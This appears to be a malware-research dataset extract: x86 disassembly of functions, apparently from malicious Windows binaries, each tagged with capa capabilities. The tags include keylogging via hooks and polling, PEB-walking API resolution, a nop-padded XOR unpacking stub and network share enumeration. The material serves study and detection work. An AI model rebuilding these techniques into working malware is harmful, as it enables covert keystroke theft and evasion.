joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c758
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x41c760
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404798
xor eax, eax
push ebp
push 0x41ca07
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00404390
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x154]
mov ecx, 0x41ca20
mov edx, dword [ebp - 4]
call fcn.004045fc
mov eax, dword [ebp - 0x154]
call fcn.004047a8
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x41c9ce
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404560
mov eax, dword [ebp - 0xc]
mov edx, 0x41ca2c
call fcn.004046f4
je 0x41c9ae
mov eax, dword [ebp - 0xc]
mov edx, 0x41ca38
call fcn.004046f4
je 0x41c9ae
cmp dword [ebp - 0x150], 0x10
jne 0x41c913
mov eax, dword [ebp - 4]
call fcn.004045b0
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x41c89e
push dword [ebp - 4]
push 0x41ca44
lea eax, [ebp - 0x15c]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404560
push dword [ebp - 0x15c]
push 0x41ca44
lea eax, [ebp - 0x158]
mov edx, 4
call fcn.00404670
mov eax, dword [ebp - 0x158]
call fcn.0041c758
push dword [ebp - 0x10]
push 0x41ca44
lea eax, [ebp - 0x160]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404560
push dword [ebp - 0x160]
push 0x41ca44
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404670
jmp 0x41c9a3
push dword [ebp - 4]
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404560
push dword [ebp - 0x168]
push 0x41ca44
lea eax, [ebp - 0x164]
mov edx, 3
call fcn.00404670
mov eax, dword [ebp - 0x164]
call fcn.0041c758
push dword [ebp - 0x10]
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404560
push dword [ebp - 0x16c]
push 0x41ca44
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404670
jmp 0x41c9a3
lea eax, [ebp - 0x174]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404560
mov eax, dword [ebp - 0x174]
lea edx, [ebp - 0x170]
call fcn.00407d68
mov eax, dword [ebp - 0x170]
mov edx, 0x41ca50
call fcn.004046f4
jne 0x41c9a3
xor eax, eax
push ebp
push 0x41c999
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x17c]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404560
mov ecx, dword [ebp - 0x17c]
lea eax, [ebp - 0x178]
mov edx, dword [ebp - 0x10]
call fcn.004045fc
mov eax, dword [ebp - 0x178]
call fcn.0041c304
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c9a3
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00404390
lea eax, [ebp - 0x150]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x41c7c7
jmp 0x41c9d2
xor ebx, ebx
jmp 0x41c9d4
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41ca0e
lea eax, [ebp - 0x17c]
mov edx, 0xb
call fcn.0040431c
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.0040431c
lea eax, [ebp - 4]
call fcn.004042f8
ret
Function at 0x41cbec
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x41cdb3
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov dl, 1
mov eax, dword [0x41065c]
call fcn.00403590
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x44]
lea eax, [ebp - 0x14]
push eax
push 0
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x41cd9d
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x10], 0x2000
mov eax, dword [ebp - 0x10]
call fcn.004026d0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x41cd9d
test eax, eax
jne 0x41cd9d
mov esi, dword [ebp - 8]
mov ax, word [ebp - 0xc]
dec eax
test ax, ax
jl 0x41cca5
inc eax
mov word [ebp - 0x1e], ax
mov edx, esi
mov eax, dword [ebp - 0x1c]
call fcn.00411bc8
add esi, 0x20
dec word [ebp - 0x1e]
jne 0x41cc92
mov eax, dword [ebp - 0x14]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x41cd9d
mov eax, dword [ebp - 0x1c]
mov ax, word [eax + 8]
dec eax
test ax, ax
jl 0x41cd89
inc eax
mov word [ebp - 0x1e], ax
mov word [ebp - 0x16], 0
movsx edx, word [ebp - 0x16]
mov eax, dword [ebp - 0x1c]
call fcn.00411d04
mov esi, eax
lea edi, [ebp - 0x3e]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3e]
push eax
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x41cd89
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x10], 0x2000
mov eax, dword [ebp - 0x10]
call fcn.004026d0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x41cd6e
test eax, eax
jne 0x41cd6e
mov esi, dword [ebp - 8]
mov bx, word [ebp - 0xc]
dec ebx
test bx, bx
jl 0x41cd05
inc ebx
lea edx, [ebp - 0x44]
mov eax, dword [esi + 0x14]
call fcn.00407f80
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x38]
add esi, 0x20
dec bx
jne 0x41cd4c
jmp 0x41cd05
mov eax, dword [ebp - 0x14]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x41cd89
inc word [ebp - 0x16]
dec word [ebp - 0x1e]
jne 0x41ccd2
mov bl, 1
mov eax, dword [ebp - 8]
call fcn.004026f0
mov dl, 1
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
call dword [ecx - 4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41cdba
lea eax, [ebp - 0x44]
call fcn.004042f8
ret
Function at 0x41cdc4
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404798
xor eax, eax
push ebp
push 0x41ced6
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [edi]
mov edx, dword [eax]
call dword [edx + 0x44]
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x20
call fcn.00402eb8
lea eax, [ebp - 4]
call fcn.00404800
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x38], 1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x38]
push eax
push 2
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x41ceb8
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x2000
mov eax, dword [ebp - 0x14]
call fcn.004026d0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x41ce9f
test eax, eax
jne 0x41ceb8
mov esi, ebx
mov ebx, dword [ebp - 0x10]
dec ebx
test ebx, ebx
jl 0x41ce3e
inc ebx
lea eax, [ebp - 0x3c]
mov edx, dword [esi + 0x14]
call fcn.004044e8
mov edx, dword [ebp - 0x3c]
mov eax, dword [edi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
add esi, 0x20
dec ebx
jne 0x41ce82
jmp 0x41ce3e
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x41ceb8
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
call fcn.004026f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41cedd
lea eax, [ebp - 0x3c]
call fcn.004042f8
lea eax, [ebp - 4]
call fcn.004042f8
ret
Function at 0x41cee8
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404798
xor eax, eax
push ebp
push 0x41cfe5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [edi]
mov edx, dword [eax]
call dword [edx + 0x44]
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x20
call fcn.00402eb8
lea eax, [ebp - 4]
call fcn.00404800
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x41cfc7
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x2000
mov eax, dword [ebp - 0x14]
call fcn.004026d0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0x103
je 0x41cfae
test eax, eax
jne 0x41cfc7
mov esi, ebx
mov ebx, dword [ebp - 0x10]
dec ebx
test ebx, ebx
jl 0x41cf4d
inc ebx
lea eax, [ebp - 0x3c]
mov edx, dword [esi + 0x14]
call fcn.004044e8
mov edx, dword [ebp - 0x3c]
mov eax, dword [edi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
add esi, 0x20
dec ebx
jne 0x41cf91
jmp 0x41cf4d
mov eax, dword [ebp - 0x18]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
jne 0x41cfc7
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0xc]
call fcn.004026f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41cfec
lea eax, [ebp - 0x3c]
call fcn.004042f8
lea eax, [ebp - 4]
call fcn.004042f8
ret
Function at 0x41d274
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x41d46b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x410af8]
call fcn.00403590
mov ebx, eax
mov edx, 0x41d480
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d4a4
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d4c4
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d504
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d52c
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d560
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d58c
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d5b0
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d5e0
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d614
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d640
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d66c
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d6a4
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d6c8
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d6f8
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d768
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x41d794
lea edx, [ebp - 8]
xor eax, eax
call fcn.00402960
push dword [ebp - 8]
push 0x41d7b0
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404670
mov edx, dword [ebp - 4]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d7bc
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d7e4
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d804
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d818
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d828
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d818
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d828
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d838
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d848
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor edx, edx
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x41d860
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0xc]
mov edx, dword [0x41fa78]
call fcn.004044e8
lea eax, [ebp - 0xc]
mov edx, 0x41d878
call fcn.004045b8
mov edx, dword [ebp - 0xc]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov eax, ebx
call fcn.004035c0
push 1
mov eax, dword [0x41fa78]
push eax
push 0
push 0x41d884
push 0x41d890
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41d472
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040431c
ret
Function at 0x401571
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2c
mov eax, dword [0x41d040]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
mov esi, dword [0x472e38]
xor ebx, ebx
push edi
mov dword [esp + 0x14], edx
mov eax, dword [esi + 0x3c]
mov ebp, dword [eax + esi + 0x78]
add ebp, esi
mov edi, dword [ebp + 0x20]
mov eax, dword [ebp + 0x18]
add edi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x4015d8
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
add eax, esi
push eax
call fcn.00401803
lea ecx, [esp + 0x1c]
call fcn.0040133b
cmp eax, dword [esp + 0x14]
je 0x4015f0
lea ecx, [esp + 0x1c]
add edi, 4
call fcn.00401834
inc ebx
cmp ebx, dword [esp + 0x18]
jb 0x4015a8
xor edi, edi
mov ecx, dword [esp + 0x34]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004025da
add esp, 0x2c
ret
mov eax, dword [ebp + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x1c]
call fcn.00401834
jmp 0x4015da

Function at 0x401673
Capabilities:
Access peb ldr_data
Create thread
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
sub cx, 0x1f9
mul edi
dec cx
mul di
mul ebx
sub ax, 0x22b
or edi, ebx
shr cx, 2
rcl eax, 0x6e
rol ax, 0x19
rcl cx, 0xcb
mul si
mov si, 0x1b0
rcr esi, 0xed
inc si
dec dx
movsx ebx, si
movsx ecx, si
rcl cx, 0x33
mov edx, esi
shr ax, 0xb9
dec cx
ja 0x4016cf
test edx, 0x43
ja 0x4016f0
dec bx
imul eax
jmp 0x4016df
rol bx, 0x64
sub di, cx
ror esi, 0x18
ror ecx, 0xef
movsx ebx, bx
rcl eax, 0x5b
mul esi
jae 0x4016f0
inc ax
movsx ecx, si
rcr ebx, 0x8e
jmp 0x40170b
and ecx, 0x33b
ror edx, 0x56
rcr di, 0xc6
or esi, 0x389
movzx edi, ax
movsx edi, si
imul edx
mul cx
ror ax, 0x4e
sub ebx, 0xb9
rcl cx, 0x60
jb 0x40172a
imul si
mul eax
inc esi
xor bx, dx
inc ebx
jmp 0x40173c
mul eax
add eax, edi
mov ax, 0x2a4
mul ebx
ror edi, 0xfc
xor di, 0xdb
movsx ecx, di
dec bx
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x472e38], eax
push 0x27
mov esi, 0x471b80
mov edx, 0x547
push 0x41d950
mov ecx, esi
call fcn.00401134
pop ecx
pop ecx
mov edx, 0x8aafdc01
call fcn.00401571
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x4e4
push esi
call eax
test eax, eax
je 0x4017ed
push 4
call fcn.004025e8
pop ecx
lea ecx, [ebp - 8]
xor esi, esi
push ecx
push esi
push eax
push 0x401a9a
push esi
push esi
mov dword [eax], 0x40160e
call fcn.004059fb
add esp, 0x18
mov dword [ebp - 0xc], eax
test eax, eax
je 0x4017e6
cmp dword [ebp - 8], esi
je 0x4017f6
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [ebp - 8], eax
jne 0x4017cf
push 5
jmp 0x4017f8
push esi
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.004022f8
add esp, 0xc
test eax, eax
je 0x4017ed
push 2
jmp 0x4017f8
mov dword [ebp - 8], esi
push 6
jmp 0x4017f8
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push 1
call fcn.00402015
int3
Function at 0x413f20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x413f4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x413f4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x67e855ea
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..reloc
nop
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x55390872
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x1000dfff
Capabilities:
Check if file exists

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], eax
push ecx
mov esi, 0x104
mov dword [eax], edi
mov edx, esi
mov dword [eax + 4], edi
lea ecx, [esp + 0x1c]
call fcn.10010399
push 0x10003180
mov edx, esi
lea ecx, [esp + 0x1c]
call fcn.1001041e
lea eax, [esp + 0x18]
push eax
push edi
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov esi, eax
test esi, esi
jne 0x1000e085
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x1000e0bb
mov ecx, dword [ebp + 4]
mov edx, 0xc8
push 0x10003138
call fcn.1000dd52
mov edi, eax
jmp 0x1000e0bb
lea edx, [esp + 0x10]
mov dword [esp + 0x10], edi
mov ecx, esi
call fcn.1000dee4
mov ebx, eax
test ebx, ebx
jns 0x1000e0ad
push ebx
push ecx
mov ecx, dword [ebp + 4]
mov edx, 0xce
call fcn.1000dd33
mov edi, ebx
jmp 0x1000e0bb
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
cdq
mov dword [ecx], eax
mov dword [ecx + 4], edx
test esi, esi
je 0x1000e0c5
push esi
call fcn.1000ddf4
mov ecx, dword [esp + 0x224]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10026d70
mov esp, ebp
pop ebp
ret 8

Function at 0x100119f3
Capabilities:
Allocate thread local storage
Get thread local storage value
Log keystrokes via application hook
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub eax, 0
je 0x10011a9f
sub eax, 1
je 0x10011a34
dec eax
sub eax, 1
jne 0x10011ad5
mov eax, dword [0x10028020]
cmp eax, 0xffffffff
je 0x10011ad5
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
jmp 0x10011ad5
mov eax, dword [ebp + 8]
push 0
push 0x10028424
mov dword [0x10028408], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x10011a54
xor eax, eax
jmp 0x10011ad8
call fcn.10012067
test eax, eax
je 0x10011a4d
cmp dword [0x10028020], 0xffffffff
jne 0x10011ad5
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x10028020], eax
cmp eax, 0xffffffff
je 0x10011ad5
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push dword [0x10028408]
push 0x100119b0
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
push eax
push dword [0x10028020]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x10011ad5
mov eax, dword [0x10028020]
cmp eax, 0xffffffff
je 0x10011aca
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push dword [0x10028020]
call dword [sym.imp.KERNEL32.dll_TlsFree]
or dword [0x10028020], 0xffffffff
push 0x10028424
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x10012187
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x12
mov esi, edx
mov ebx, ecx
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
mov dword [ebp - 4], eax
movzx eax, ax
push 0x11
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
movzx edi, ax
call dword [sym.imp.USER32.dll_GetKeyState]
movzx edx, ax
movzx eax, bl
sub eax, 0x10
je 0x100122f2
sub eax, 1
je 0x1001229d
sub eax, 1
je 0x1001223a
xor eax, eax
mov dword [0x10028458], eax
mov dword [0x10028454], eax
mov dword [0x10028450], eax
mov cx, word [0x1002845c]
mov esi, dword [ebp - 4]
test si, si
js 0x10012208
mov eax, 0xffb6
and cx, ax
mov word [0x1002845c], cx
test di, di
pop edi
pop esi
pop ebx
js 0x1001221f
mov eax, 0xff6d
and cx, ax
mov word [0x1002845c], cx
test dx, dx
js 0x10012233
mov edx, 0xfedb
and cx, dx
mov word [0x1002845c], cx
xor eax, eax
inc eax
mov esp, ebp
pop ebp
ret
cmp word [ebp - 8], 0
jge 0x100121ea
mov eax, dword [0x1002845c]
test esi, 0x1000000
je 0x10012253
or eax, 9
jmp 0x10012256
or eax, 0x41
movzx ecx, ax
mov word [0x1002845c], cx
test esi, 0x40000000
jne 0x100121f1
mov eax, edx
push 0xf
pop esi
or eax, edi
bt ax, si
mov esi, dword [ebp - 4]
jb 0x10012287
mov dword [0x10028450], 1
jmp 0x100121f4
xor eax, eax
mov dword [0x10028458], eax
mov dword [0x10028454], eax
mov dword [0x10028450], eax
jmp 0x100121f4
test di, di
jns 0x100121ea
mov eax, dword [0x1002845c]
test esi, 0x1000000
je 0x100122b8
or eax, 0x12
jmp 0x100122bd
or eax, 0x82
movzx ecx, ax
test esi, 0x40000000
mov esi, dword [ebp - 4]
mov word [0x1002845c], cx
jne 0x100121f4
mov eax, edx
push 0xf
or eax, esi
pop ebx
bt ax, bx
jb 0x10012287
mov dword [0x10028454], 1
jmp 0x100121f4
test dx, dx
jns 0x100121ea
mov eax, esi
and eax, 0xff0000
cmp eax, 0x360000
mov eax, dword [0x1002845c]
jne 0x10012313
or eax, 0x24
jmp 0x10012318
or eax, 0x104
movzx ecx, ax
mov word [0x1002845c], cx
test esi, 0x40000000
jne 0x100121f1
mov esi, dword [ebp - 4]
mov eax, edi
push 0xf
or eax, esi
pop ebx
bt ax, bx
jb 0x10012287
mov dword [0x10028458], 1
jmp 0x100121f4
Function at 0x100168ba
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x10028014]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x100
push eax
mov ebx, edx
mov edi, ecx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x100168fa
xor eax, eax
jmp 0x10016962
xor ecx, ecx
mov esi, ecx
jmp 0x10016927
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x20]
xor eax, eax
mov word [esp + 0x21e], ax
call fcn.100168ba
mov esi, eax
test esi, esi
jne 0x10016948
mov dword [esp + 0x14], 0x100
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x34]
push eax
push ecx
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x10016900
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10016960
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esi, eax
mov eax, esi
mov ecx, dword [esp + 0x224]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10026d70
mov esp, ebp
pop ebp
ret